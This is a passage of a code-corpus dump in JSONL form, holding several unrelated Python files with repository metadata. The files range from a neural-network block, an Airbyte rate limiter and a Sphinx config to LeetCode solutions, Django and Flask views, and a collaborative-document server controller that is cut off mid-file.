nn.BatchNorm2d(self.oup),\n HardSwish(),\n )\n self.se = SELayer(self.oup)\n\n def forward(self, x):\n x = self.depthwise_pointwise(x)\n if self.use_se:\n x = self.se(x)\n return x\n\nclass PPLC_Conv(nn.Module):\n def __init__(self, scale):\n super().__init__()\n self.scale = scale\n self.conv = nn.Conv2d(3, out_channels=make_divisible_LC(16 * self.scale),\n kernel_size=3, stride=2, padding=1, bias=False)\n def forward(self, x):\n return self.conv(x)\n\nclass PPLC_Block(nn.Module):\n def __init__(self, scale, block_num):\n super().__init__()\n self.scale = scale\n self.block_num = BLOCK_LIST[block_num]\n self.block = nn.Sequential(*[\n DepthwiseSeparable(inp=make_divisible_LC(in_c * self.scale),\n oup=make_divisible_LC(out_c * self.scale),\n dw_size=k, stride=s, use_se=use_se)\n for i, (k, in_c, out_c, s, use_se) in enumerate(NET_CONFIG[self.block_num])\n ])\n def forward(self, x):\n return self.block(x)\n\n\n","repo_name":"wavelet2008/yolov5-box","sub_path":"yolov5/models/PP_LCNet/PP_LCNet.py","file_name":"PP_LCNet.py","file_ext":"py","file_size_in_byte":5162,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20201650511","text":"import time\n\nfrom airbyte_cdk.entrypoint import logger\n\n\nclass CallCredit:\n \"\"\"Class to manage call credit balance\"\"\"\n\n def __init__(self, balance: int, reload_period: int = 60):\n self._max_balance = balance\n self._balance_reload_period = reload_period\n self._current_period_start = time.time()\n self._credits_consumed = 0\n\n def reset_period(self):\n self._current_period_start = time.time()\n self._credits_consumed = 0\n\n def consume(self, credit: int):\n # Reset time window if it has elapsed\n if time.time() > self._current_period_start + self._balance_reload_period:\n self.reset_period()\n\n if self._credits_consumed + credit >= self._max_balance:\n sleep_time = self._balance_reload_period - (time.time() - self._current_period_start)\n logger.info(f\"Reached call limit for this minute, wait for {sleep_time:.2f} seconds\")\n time.sleep(max(1.0, sleep_time))\n self.reset_period()\n\n self._credits_consumed += credit\n","repo_name":"airbytehq/airbyte","sub_path":"airbyte-integrations/connectors/source-freshdesk/source_freshdesk/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","stars":12323,"dataset":"github-code","pt":"35"} +{"seq_id":"27858455836","text":"# docs/source/conf.py\n# Configuration file for the Sphinx documentation builder.\n#\n# This file only contains a selection of the most common options. For a full\n# list see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n#\n# List of Options from RTD:\n# https://sphinx-rtd-theme.readthedocs.io/en/stable/configuring.html\n#\n\n# ================================== Imports ==================================\n\nimport os\nimport sys\nimport pkg_resources\nfrom pathlib import Path\n\n\n# ============================== Build Environment ==============================\n\n# Build behaviour is dependent on environment\non_rtd = os.environ.get('READTHEDOCS') == 'True'\n\n# Configure paths\nroot = os.path.abspath('../../')\nsys.path.append(os.path.abspath('.'))\nsys.path.insert(0, root)\n\n# on_rtd = True # Uncomment for testing RTD builds locally\n\n\n# ============================ Project information ============================\n\nauthor = 'Adam Korn'\ncopyright = '2023, Adam Korn'\nproject = 'sphinx-inlinecode'\nrepo = project\n\n# Package Info\npkg = pkg_resources.require(project)[0]\npkg_name = pkg.get_metadata('top_level.txt').strip()\n\n# Simplify things by using the installed version\nversion = pkg.version\nrelease = version\n\n# ======================== General configuration ============================\n\n# Doc with root toctree\nmaster_doc = 'contents'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Source File type\nsource_suffix = '.rst'\n\n# LaTeX settings\nlatex_elements = { # Less yucky looking font\n 'preamble': r'''\n\\usepackage[utf8]{inputenc}\n\\usepackage{charter}\n\\usepackage[defaultsans]{lato}\n\\usepackage{inconsolata}\n''',\n}\n\n# Use default Pygments style if not html\nif 'html' not in sys.argv:\n pygments_style = 'sphinx'\n\n# ============================ HTML Theme Settings ============================\n\n# The theme to use for HTML and HTML Help pages.\nhtml_theme = 'sphinx_rtd_theme'\n\n# Theme Options\n# https://sphinx-rtd-theme.readthedocs.io/en/stable/configuring.html#theme-options\n#\nhtml_theme_options = {\n # Add the [+] signs to nav\n 'collapse_navigation': False,\n # Prev/Next buttons also placed at the top\n 'prev_next_buttons_location': 'both',\n}\n\n# html_logo = \"_static/logo_html.png\"\n\n# Set the \"Edit on GitHub\" link to use the current commit\nhtml_context = {\n 'display_github': True,\n 'github_user': 'TDKorn',\n 'github_repo': repo,\n}\n\nif not on_rtd:\n site_url = \"https://tdkorn.github.io/sphinx-inlinecode/\"\n\nhtml_baseurl = \"https://sphinx-inlinecode.readthedocs.io/en/latest/\"\n\nsitemap_url_scheme = \"{link}\"\n# ============================ Extensions ====================================\n\n# Add any Sphinx extension module names here, as strings\nextensions = [\n 'sphinx.ext.autodoc',\n 'sphinx.ext.intersphinx',\n 'sphinx.ext.autosectionlabel',\n 'sphinx.ext.viewcode',\n 'sphinx_readme',\n 'sphinx_sitemap',\n 'sphinx_github_style',\n 'sphinx_inlinecode'\n]\n\n# ====================== Extra Settings for Extensions ========================\n\n# ~~~~ InterSphinx ~~~~\n# Add references to Python, Requests docs\nintersphinx_mapping = {\n 'python': ('https://docs.python.org/3', None),\n 'requests': ('https://requests.readthedocs.io/en/latest/', None),\n 'sphinx': ('https://www.sphinx-doc.org/en/master/', None),\n 'bs4': ('https://www.crummy.com/software/BeautifulSoup/bs4/doc/', None)\n}\n\n# ~~~~ AutoSectionLabel ~~~~\n# Make sure the target is unique\nautosectionlabel_prefix_document = True\n\n# ~~~~ Autodoc ~~~~\n# Order based on source\nautodoc_member_order = 'bysource'\n#\n# Remove typehints from method signatures and put in description instead\nautodoc_typehints = 'description'\n#\n# Only add typehints for documented parameters (and all return types)\n# -> Prevents parameters being documented twice for both the class and __init__\nautodoc_typehints_description_target = 'documented_params'\n#\n# Shorten type hints\npython_use_unqualified_type_names = True\n\n# ~~~~ Sphinx GitHub Style ~~~~\n#\ntop_level = \"sphinx_inlinecode\"\n\n# Text to use for the linkcode link\nlinkcode_link_text = \"View on GitHub\"\n\nreadme_blob = linkcode_blob = \"main\"\n\n# ~~~~~ Sphinx README ~~~~~~~\n\nreadme_src_files = \"index.rst\"\n\nreadme_docs_url_type = \"html\"\n\n\ndef skip(app, what, name, obj, would_skip, options):\n \"\"\"Include __init__ as a documented method\n\n For classes:\n\n >>> if not obj.__qualname__.startswith(\"ClassName\"):\n >>> return False\n \"\"\"\n if name in ('__init__',):\n return False\n return would_skip\n\n\ndef rename_index(app, exception):\n readme = Path(f\"{root}/README.rst\").resolve()\n index = Path(f\"{root}/index.rst\").resolve()\n\n if index.exists():\n readme.write_text(index.read_text(encoding=\"utf-8\"), encoding=\"utf-8\")\n index.unlink()\n\n\ndef setup(app):\n app.connect('autodoc-skip-member', skip)\n app.connect('build-finished', rename_index, priority=10000)\n app.add_css_file(\"custom.css\")\n","repo_name":"TDKorn/sphinx-inlinecode","sub_path":"docs/source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":5499,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"29807070233","text":"# Question 4 (Hard) Link: https://leetcode.com/problems/median-of-two-sorted-arrays/\n\nclass Solution(object):\n def findMedianSortedArrays(self, nums1, nums2):\n \"\"\"\n :type nums1: List[int]\n :type nums2: List[int]\n :rtype: float\n \"\"\"\n\n n1 = len(nums1)\n n2 = len(nums2)\n\n self.xmax = min([n1,n2])\n\n self.nums1 = nums1\n self.nums2 = nums2\n self.n1 = n1\n self.n2 = n2\n\n x_result = self.binary_search(-self.xmax, self.xmax, self.criteria)\n\n return self.pointer_to_median(x_result)\n\n # simple median calculation. Only used when len(l) <= 4\n def median(self,l):\n sl = sorted(l)\n if len(sl)%2 == 0:\n m1 = len(sl)//2-1\n m2 = m1+1\n return (sl[m1] + sl[m2])/2.0\n else:\n return sl[(len(sl)-1)//2]\n\n # take a final pointer position, return the median of two arrays\n def pointer_to_median(self, x):\n # if edge is reached\n # if even parity, must be div div\n # if both divs are on edge, we return the average of remaining two\n # if only one is on edge, we return the average of the other div\n # if odd parity, we just want to return the number\n # the number appear in both left and right side, and should be smaller/larger than the right/left side\n # if edge is not reached\n # for num num situation, two nums must be equal so must be correct\n # for div div situation, l takes the closest two\n # for div num or num div, num must be smallest on the right and largest on the left, so equiv to just return num\n\n leftside, rightside = self.get_if_valid(x)\n l = [max(leftside), min(rightside)]\n result = self.median(l)\n return result\n\n def get_if_valid(self, x):\n # get all numbers bordering x. Distinguish between left and right side\n p1 = self.corresponder(x, self.n1)\n p2 = self.corresponder(-x, self.n2)\n leftside = []\n rightside = []\n if p1[0] >= 0:\n leftside.append(self.nums1[p1[0]])\n if p1[1] < self.n1:\n rightside.append(self.nums1[p1[1]])\n if p2[0] >= 0:\n leftside.append(self.nums2[p2[0]])\n if p2[1] < self.n2:\n rightside.append(self.nums2[p2[1]])\n return leftside, rightside\n\n def corresponder(self, x, n):\n # return (leftnum_index, rightnum_index) if x is pointing to a div\n # return (num_index, num_index) if x is pointing to a number\n # turn x from the center into array index\n center = (n-1)//2\n remainder = n%2\n left = -1\n right = -1\n if remainder == 0:\n # center is a div\n if x%2 == 0:\n # pointer is to a div as well\n left, right = (center+x/2, center+x/2+1)\n else:\n # pointer is to a number\n left, right = (center + (x+1)/2, center + (x+1)/2)\n else:\n # center is a number\n if x%2 == 0:\n # pointer is to a number\n left, right = (center + x/2, center + x/2)\n else:\n # pointer is to a div\n left, right = (center + (x-1)/2, center + (x+1)/2)\n left, right = int(left), int(right)\n return (left, right)\n\n def criteria(self,x):\n # decide when we want to stop the search\n pointer1 = self.corresponder(x, self.n1)\n pointer2 = self.corresponder(-x, self.n2)\n\n div1 = (pointer1[0] != pointer1[1])\n div2 = (pointer2[0] != pointer2[1])\n\n # handle reaching the end situations\n if abs(x) == self.xmax:\n # we need to avoid out of index errors\n\n # Inner side is never out of range. We can only move inwarrd.\n if x > 0:\n if self.nums2[pointer2[1]] < self.nums1[pointer1[0]]:\n return -1\n else:\n return 0\n elif x < 0:\n if self.nums1[pointer1[1]] < self.nums2[pointer2[0]]:\n return 1\n else:\n return 0\n else:\n # x max is 0. At least one of the lists has length of 0\n return 0\n\n l1, r1 = self.nums1[pointer1[0]], self.nums1[pointer1[1]]\n l2, r2 = self.nums2[pointer2[0]], self.nums2[pointer2[1]]\n\n if l2 > r1:\n return 1\n elif l1 > r2:\n return -1\n else:\n return 0\n\n # binary search in range [left, right] based on criterion. Recursive\n def binary_search(self, left, right, criterion):\n # base case\n if right < left:\n print(\"ERROR: no x result found\")\n return None\n\n # both sides should be inclusive\n x = (left + right)//2 # go to the left if even num of numbers in range\n bigOrSmall = criterion(x)\n if bigOrSmall == 0:\n # we found it\n return x\n elif bigOrSmall < 0:\n # go to the left\n result = self.binary_search(left, x-1, criterion)\n elif bigOrSmall > 0:\n # go to the right\n result = self.binary_search(x+1, right, criterion)\n else:\n print(\"ERROR: WHAT THE HELL\")\n\n return result\n\n# div\n# |\n# ... 2 4 ...\n\n# num\n# |\n# ... 1 3 ...\n\n\n\n# Better Solution\n\ndef add_arrays(nums1, nums2):\n nums1.extend(nums2)\n final_nums = list(nums1)\n final_nums.sort()\n return final_nums\n\nclass Solution:\n def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:\n final_nums = add_arrays(nums1, nums2)\n length_array = len(final_nums)\n cen_pos = len(final_nums) / 2\n\n if cen_pos.is_integer():\n print(cen_pos)\n print(final_nums)\n return ((final_nums[int(cen_pos)] + final_nums[int(cen_pos) - 1])/2)\n else:\n print(cen_pos)\n print(final_nums)\n return final_nums[floor(cen_pos)]\n\n\n# Question 130 (Medium) Link: https://leetcode.com/problems/single-number/\n\n\nclass Solution:\n def singleNumber(self, nums: List[int]) -> int:\n nums.sort()\n for num in range(0, len(nums)-1, 2):\n if nums[num] != nums[num +1]:\n return nums[num]\n return nums[-1]\n\n\n\n# Question 136 (Hard) Link: https://leetcode.com/problems/surrounded-regions/submissions/\n\nclass Solution:\n def solve(self, board: List[List[str]]) -> None:\n n = len(board)\n m = len(board[0])\n\n # If board have less than 3 size in any direction: nothing to do, because all cells located on borders\n if n < 3 or m < 3:\n return\n\n # DFS to look for the next 'O' cell upper, lower, to the right and to the left of current coordinates\n # If 'O' cell is found, recursevly mark this cell as 'R' which is mean REACHED\n def dfs(row: int, col: int) -> None:\n board[row][col] = 'R'\n if row > 0 and board[row - 1][col] == 'O':\n dfs(row - 1, col)\n if row < n - 1 and board[row + 1][col] == 'O':\n dfs(row + 1, col)\n if col > 0 and board[row][col - 1] == 'O':\n dfs(row, col - 1)\n if col < m - 1 and board[row][col + 1] == 'O':\n dfs(row, col + 1)\n\n # Go and check left and right borders of the board\n for row in range(n):\n if board[row][0] == 'O':\n dfs(row, 0)\n if board[row][m - 1] == 'O':\n dfs(row, m - 1)\n\n # Same for check up and down borders of the board\n # Since corners (0,0) and (n - 1, m - 1) where checked in previous cycle, skip them in this one\n for col in range(1, m - 1):\n if board[0][col] == 'O':\n dfs(0, col)\n if board[n - 1][col] == 'O':\n dfs(n - 1, col)\n\n # Follow through the whole board and flip all 'R' cells back into 'O' and all 'O' cell to 'X'\n # since they're unreacheable from the board located 'O' cell if any\n for row in range(n):\n for col in range(m):\n if board[row][col] == 'O':\n board[row][col] = 'X'\n elif board[row][col] == 'R':\n board[row][col] = 'O'\n\n\n\n# Question 207 (Medium) Link: https://leetcode.com/problems/course-schedule/\n\nclass Solution:\n def lengthOfLongestSubstring(self, s: str) -> int:\n start = maxLength = 0\n usedChar = {}\n\n for i in range(len(s)):\n if s[i] in usedChar and start <= usedChar[s[i]]:\n start = usedChar[s[i]] + 1\n else:\n maxLength = max(maxLength, i - start + 1)\n\n usedChar[s[i]] = i\n\n return maxLength\n\n# Question 421 (Medium) Link: https://leetcode.com/problems/maximum-xor-of-two-numbers-in-an-array/\n\n\nclass Solution:\n def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n graph = [[] for _ in range(numCourses)]\n visit = [0 for _ in range(numCourses)]\n for x, y in prerequisites:\n graph[x].append(y)\n def dfs(i):\n if visit[i] == -1:\n return False\n if visit[i] == 1:\n return True\n visit[i] = -1\n for j in graph[i]:\n if not dfs(j):\n return False\n visit[i] = 1\n return True\n for i in range(numCourses):\n if not dfs(i):\n return False\n return True\n\n\n# Question 72 (Medium) Link: https://leetcode.com/problems/search-a-2d-matrix/\n\nclass Solution:\n def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:\n if not matrix: return 0\n m, n = len(matrix), len(matrix[0])\n if not n: return 0\n\n r, r1, r2 = -1, 0, m-1\n while r1 <= r2:\n mid = (r1+r2) // 2\n if matrix[mid][0] <= target <= matrix[mid][n-1]: r = mid; break\n elif matrix[mid][0] > target: r2 = mid - 1\n else: r1 = mid + 1\n if r == -1: return False\n\n c1, c2 = 0, n-1\n while c1 <= c2:\n mid = (c1+c2) // 2\n if matrix[r][mid] == target: return True\n elif matrix[r][mid] > target: c2 = mid - 1\n else: c1 = mid + 1\n return False\n\n# Question 88 (Easy) Link: https://leetcode.com/problems/merge-sorted-array/\n\nclass Solution(object):\n def romanToInt(self, s):\n translations = {\n \"I\": 1,\n \"V\": 5,\n \"X\": 10,\n \"L\": 50,\n \"C\": 100,\n \"D\": 500,\n \"M\": 1000\n }\n number = 0\n s = s.replace(\"IV\", \"IIII\").replace(\"IX\", \"VIIII\")\n s = s.replace(\"XL\", \"XXXX\").replace(\"XC\", \"LXXXX\")\n s = s.replace(\"CD\", \"CCCC\").replace(\"CM\", \"DCCCC\")\n for char in s:\n number += translations[char]\n return number\n\n# Question 13 (Easy) Link: https://leetcode.com/problems/roman-to-integer/\n\nclass TrieNode:\n def __init__(self):\n self.children = dict() # children nodes\n self.val = 0 # end value\n\nclass Trie:\n def __init__(self, n):\n self.root = TrieNode() # root node\n self.n = n # max length of all numbers\n\n def add_num(self, num):\n node = self.root\n for shift in range(self.n, -1, -1): # only shift self.n bits\n val = 1 if num & (1 << shift) else 0 # verify bit from left to right\n if val not in node.children:\n node.children[val] = TrieNode()\n node = node.children[val]\n node.val = num\n\nclass Solution:\n def findMaximumXOR(self, nums):\n max_len = len(bin(max(nums))) - 2 # get max length of all numbers' binary\n trie = Trie(max_len)\n for num in nums: trie.add_num(num) # build trie\n\n ans = 0\n for num in nums: # for each num, find the number which can create max value with num using XOR\n node = trie.root\n for shift in range(max_len, -1, -1):\n val = 1 if num & (1 << shift) else 0 # verify bit from left to right\n node = node.children[1-val] if 1-val in node.children else node.children[val] # try opposite bit first, otherwise use same bit\n ans = max(ans, num ^ node.val) # maintain maximum\n return ans\n\n# Question 13 (Easy) Link: https://leetcode.com/problems/roman-to-integer/\n\nclass Solution(object):\n def merge(self, nums1, m, nums2, n):\n while m > 0 and n > 0:\n if nums1[m - 1] > nums2[n - 1]:\n nums1[m + n - 1] = nums1[m - 1]\n m -= 1\n else:\n nums1[m + n - 1] = nums2[n - 1]\n n -= 1\n nums1[:n] = nums2[:n]\n\n\n\n\nclass Solution(object):\n def firstMissingPositive(self, nums):\n for i in xrange(len(nums)):\n while 0 <= nums[i]-1 < len(nums) and nums[nums[i]-1] != nums[i]:\n tmp = nums[i]-1\n nums[i], nums[tmp] = nums[tmp], nums[i]\n for i in xrange(len(nums)):\n if nums[i] != i+1:\n return i+1\n return len(nums)+1\n\n # O(nlgn) time\n def firstMissingPositive(self, nums):\n nums.sort()\n res = 1\n for num in nums:\n if num == res:\n res += 1\n return res\n\nclass Solution(object):\n def merge(self, nums1, m, nums2, n):\n while m > 0 and n > 0:\n if nums1[m - 1] > nums2[n - 1]:\n nums1[m + n - 1] = nums1[m - 1]\n m -= 1\n else:\n nums1[m + n - 1] = nums2[n - 1]\n n -= 1\n nums1[:n] = nums2[:n]\n","repo_name":"mhzaman-cs/LeetCode","sub_path":"python_DA/School 2A Term/arrays.py","file_name":"arrays.py","file_ext":"py","file_size_in_byte":13971,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"5007096825","text":"from django.shortcuts import render,redirect\nfrom .models import FoodTypes,Goods,Wheel,Nav,Mustbuy,Shop,MainShow,User\n# Create your views here.\n\ndef home(request):\n wheelsList = Wheel.objects.all()\n topNavList = Nav.objects.all()\n mustbuyList = Mustbuy.objects.all()\n shopList = Shop.objects.all()\n shop1 = shopList[0]\n shop2 = shopList[1:3]\n shop3 = shopList[3:7]\n shop4 = shopList[7:11]\n mainList = MainShow.objects.all()\n\n return render(request,'axf/home.html',{'wheelsList':wheelsList,'navList':topNavList,'mustbuyList':mustbuyList,'shop1':shop1,'shop2':shop2,'shop3':shop3,'shop4':shop4,'mainList':mainList})\n#超市\ndef market(request,categoryId,cid,sortid):\n leftSlider = FoodTypes.objects.all()\n print('------>',cid)\n if cid == '0':\n #全部分类\n productList = Goods.objects.filter(categoryid=categoryId)\n else:\n productList = Goods.objects.filter(categoryid=categoryId,childcid=cid)\n\n if sortid == '1':\n productList = productList.order_by(\"productnum\")\n elif sortid == '2':\n productList = productList.order_by(\"price\")\n elif sortid == '3':\n productList = productList.order_by(\"-price\")\n\n childList = []\n group = leftSlider.get(typeid=categoryId)\n chilenames = group.childtypenames\n arr1 = chilenames.split('#')\n for str in arr1:\n arr2 = str.split(':')\n obj = {'childName':arr2[0],'childId':arr2[1]}\n childList.append(obj)\n\n return render(request,'axf/market.html',{'leftSlider':leftSlider,'productList':productList,'childList':childList,'categoryid':categoryId,'cid':cid,'sortid':sortid})\n#购物车\ndef cart(request):\n return render(request,'axf/cart.html')\n#我的\ndef mine(request):\n\n return render(request,'axf/mine.html')\n\n#登录\nfrom .froms.login import LoginForm\ndef login(request):\n if request.method == 'POST':\n f = LoginForm(request.POST)\n if f.is_valid():\n return redirect('/mine/')\n else:\n return render(request, 'axf/login.html', {\"title\": \"登陆\", \"form\": f, \"error\": f.errors})\n\n f = LoginForm()\n return render(request,'axf/login.html',{'title':'登录','form':f})\n\ndef register(request):\n return render(request,'axf/register.html')\n\nfrom django.http import JsonResponse\ndef checkUserId(request):\n userid = request.POST.get('userid')\n try:\n user = User.objects.get(userAccount=userid)\n return JsonResponse({'data':'该用户已经被注册','status':'error'})\n except User.DoesNotExist as e:\n return JsonResponse({'data':'可以注册','status':'success'})\n","repo_name":"selfImproH/axf_giveGU","sub_path":"project/axf/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"2074023083","text":"\"\"\"\r\nMake a program that prints the sequence like the following exemple.\r\n\r\nInput\r\nThis problem doesn't have input.\r\n\r\nOutput\r\nPrint the sequence like the example below.\r\n\r\nI=1 J=7\r\nI=1 J=6\r\nI=1 J=5\r\nI=3 J=7\r\nI=3 J=6\r\nI=3 J=5\r\n...\r\nI=9 J=7\r\nI=9 J=6\r\nI=9 J=5\r\n\"\"\"\r\n\r\ndef sequence_IJ_2():\r\n\r\n for i in range(1, 10, 2):\r\n for j in range(7, 4, -1):\r\n print(f\"I={i} J={j}\")\r\n\r\n\r\nsequence_IJ_2()\r\n\r\n# def sequence_IJ_2():\r\n#\r\n# for i in range(1, 11, 3):\r\n# if i > 1:\r\n# i -= 1\r\n# for j in range(7, 4, -1):\r\n# print(f\"I={i} J={j}\")\r\n#\r\n#\r\n# sequence_IJ_2()\r\n\r\n\r\n# for c in range(1, 10, 2):\r\n# print('I={} J={}'.format(c, 7))\r\n# print('I={} J={}'.format(c, 6))\r\n# print('I={} J={}'.format(c, 5))\r\n","repo_name":"fafagundes/PythonExercise","sub_path":"BEECROWD - Exercises/BEGINNER/B-1096_Sequence_IJ_2.py","file_name":"B-1096_Sequence_IJ_2.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"37819044363","text":"if __name__ == '__main__':\n list1=[]\n n=int(input())\n for i in range(n):\n name = input()\n score = float(input())\n list1.append([name,score]) \n# =============================================================================\n# sorted1= list1.sort() \n print(list1) \n list2=sorted(list1) \n print(list2)\n lowest=list2[0][1]\n flag=False\n print(\" list2 2nd and fourth \",list2[2],list2[4][1],list2[2][1]>list2[4][1])\n# =============================================================================\n for t in range(1,n,1):\n # print(list2[t][1])\n #print(sorted(list1))\n # print(\"before if value of list index of t-1 , and t is, and current lowest is \", list2[t-1][1], list2[t][1], lowest)\n if lowestlowest:\n #print(\" inside 1st if ttt lowest seclowest and[ttt] \",ttt,lowest,seclowest, list2[ttt][1])\n if seclowest 1:\n ref.append(n % 2)\n return binary_print(n // 2)\n\n else:\n ref.append(n)\n return ref\nn = int(input())\n\nref = []\na = binary_print(n)\na.reverse()\n\nfor x in a:\n print(x,end='')\n\n# 답\n\ndef DFS(x):\n if x == 0:\n return # 함수 종료\n else:\n DFS(x//2) # 백트랙킹\n print(x%2,end='')\n\n\nif __name__==\"__main__\":\n n=int(input())\n DFS(n)\n\n\n# 재귀함수를 이용한 이진수 출력 복습\ndef dfs(v):\n if v!=0:\n dfs(v//2)\n print(v%2,end='')\n\n\n\nn = int(input())\ndfs(n)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"imseongwoo/Algorithm","sub_path":"인프런 알고리즘 강의 문제풀이/완전탐색/재귀함수를 이용한 이진수 출력.py","file_name":"재귀함수를 이용한 이진수 출력.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"30524896732","text":"from machine import Pin, PWM\nimport utime \n\nled = Pin(27) # GP27\npwm = PWM(led)\n\npwm.freq(1000)\n\n# fade the led\nduty = 0\ndirection = 1\nfor repeat in range(2000):\n duty += direction\n if duty > 255:\n duty = 255\n direction = -1\n elif duty < 0:\n duty = 0\n direction = 1\n pwm.duty_u16(duty * duty)\n utime.sleep(0.01)\n","repo_name":"hatschibratschi/pico","sub_path":"micropython/basic/fading_LED1.py","file_name":"fading_LED1.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6880821744","text":"\"\"\"Write a function that takes an integer as an argument and\nreturns True if the number is within the range 1 to 555\n(not inclusive, i.e. neither 1 nor 555 are in range.)\nAlso write a statement that calls the function with the given input\nas an argument. \"\"\"\n\ndef in_range(n):\n if 1 < n < 555:\n return True\n else:\n return False\n\nn = int(input((\"Enter a number: \")))\n\nif in_range(n):\n print(str(n), \"is in range.\")\nelse:\n print(str(n), \"is outside the range!\")","repo_name":"nonnikb/verkefni","sub_path":"Lokapróf/7 Functions/Range test.py","file_name":"Range test.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"41322747722","text":"import datetime\nimport requests\nfrom flask import Flask, jsonify\n\n\nAPI_URL = \"https://sports.bwin.com/en/sports/api/widget?layoutSize=Large&page=SportLobby&sportId=\"\n\nSPORTS = {\n \"Tennis\" : 5, \n \"Basketball\" : 7,\n \"Football\" : 4,\n \"Ice Hockey\" : 12, \n \"handball\": 16\n }\n\napp = Flask(__name__)\n\n\ndef fetch_bwin_schema(data):\n \"\"\"\n Fetches the schema for the given api response.\n \"\"\"\n schema = []\n try:\n for fixture in data['widgets'][1]['payload']['fixtures']:\n fixture_dict = {\n \"tournament\": fixture['tournament']['name']['value'],\n \"eventName\": fixture['name']['value'],\n \"player1\": fixture['participants'][0]['name']['value'],\n \"player2\": fixture['participants'][1]['name']['value'],\n \"player1_odds\": fixture['games'][0]['results'][0]['odds'],\n \"player2_odds\": fixture['games'][0]['results'][1]['odds'],\n \"eventDate\": fixture['startDate'],\n \"lastUpdate\": datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n }\n schema.append(fixture_dict)\n except KeyError:\n return schema\n return schema\n \ndef extractor(sport):\n print(sport)\n \"\"\"\n Extracts the data from the API and returns a JSON object.\n \"\"\"\n try:\n url = API_URL + str(sport)\n response = requests.get(url, headers={'User-Agent': 'Chrome'})\n status_code = response.status_code\n data = response.json()\n bwin_schema = fetch_bwin_schema(data)\n return bwin_schema, status_code\n except Exception as e:\n return e, 500\n\n@app.route('/sports')\ndef sports():\n return jsonify(SPORTS)\n\n@app.route('/extract/sport/')\ndef extract(sport):\n try:\n data, status_code = extractor(SPORTS[sport])\n if status_code == 403:\n return jsonify({\"error\": \"Forbidden\"}), 403\n elif status_code == 404:\n return jsonify({\"error\": \"Not Found\"}), 404\n elif status_code == 200:\n return data\n except KeyError:\n return \"Sport not found\"\n\n\nif __name__ =='__main__': \n app.run(debug = True) \n","repo_name":"SureshBadavath/bwin_scaper","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"31483747347","text":"from .editsession import EditSession\nfrom .response import Response\nfrom server.model import User, Document\n\nclass DocumentController(object):\n\n def __init__(self, socket, db, auth, sessions):\n self.socket = socket\n self.db = db\n self.authController = auth\n self.sessions = sessions\n self.current_session = None\n\n def create_document(self, name, owner):\n response = Response(\"create\")\n\n if not self.authController.loggedIn():\n return\n\n if name.strip() == \"\":\n self.socket.request.sendall(response(False, err=\"document name cannot be empty\"))\n return\n doc = Document(name=name, owner=owner)\n self.db.add(doc)\n try:\n self.db.commit()\n self.socket.request.sendall(response(id=doc.id, name=doc.name))\n except Exception as e:\n self.db.rollback()\n self.socket.request.sendall(response(False, err=str(e)))\n\n def delete_document(self, id, owner):\n response = Response(\"delete\")\n\n if not self.authController.loggedIn():\n return\n\n doc = self.db.query(Document).filter(Document.id==id, Document.user_owner==owner.username).first()\n if not doc:\n self.socket.request.sendall(response(False, err=\"document not found\"))\n return\n doc.participants = []\n self.db.delete(doc)\n try:\n self.db.commit()\n self.socket.request.sendall(response(id=doc.id, name=doc.name))\n except Exception as e:\n self.db.rollback()\n self.socket.request.sendall(response(False, err=str(e)))\n \n def get_documents(self, owner):\n response = Response(\"documents\")\n\n if not self.authController.loggedIn():\n return\n\n docs = []\n for d in self.db.query(Document).filter(Document.user_owner==owner.username).all():\n docs.append({\"id\": d.id, \"name\": d.name})\n self.socket.request.sendall(response(documents=docs))\n \n def get_shareddocuments(self, user):\n response = Response(\"shareddocuments\")\n\n if not self.authController.loggedIn():\n return\n\n docs = []\n for d in self.db.query(Document).join((Document.participants, User)).filter(User.username==user.username).all():\n docs.append({\"id\": d.id, \"name\": d.name})\n self.socket.request.sendall(response(documents=docs))\n \n def add_participant(self, id, user):\n response = Response(\"add\")\n\n if not self.authController.loggedIn():\n return\n\n doc = self.db.query(Document).filter(Document.id==id).first()\n if not doc:\n self.socket.request.sendall(response(False, err=\"document not found\"))\n return\n if user is doc.owner:\n self.socket.request.sendall(response(False, err=\"user is owner\"))\n return\n if user not in doc.participants:\n doc.participants.append(user)\n try:\n self.db.commit()\n self.socket.request.sendall(response(id=doc.id, name=doc.name))\n except Exception as e:\n self.db.rollback()\n self.socket.request.sendall(response(False, err=str(e)))\n \n def remove_participant(self, id, user):\n response = Response(\"remove\")\n\n if not 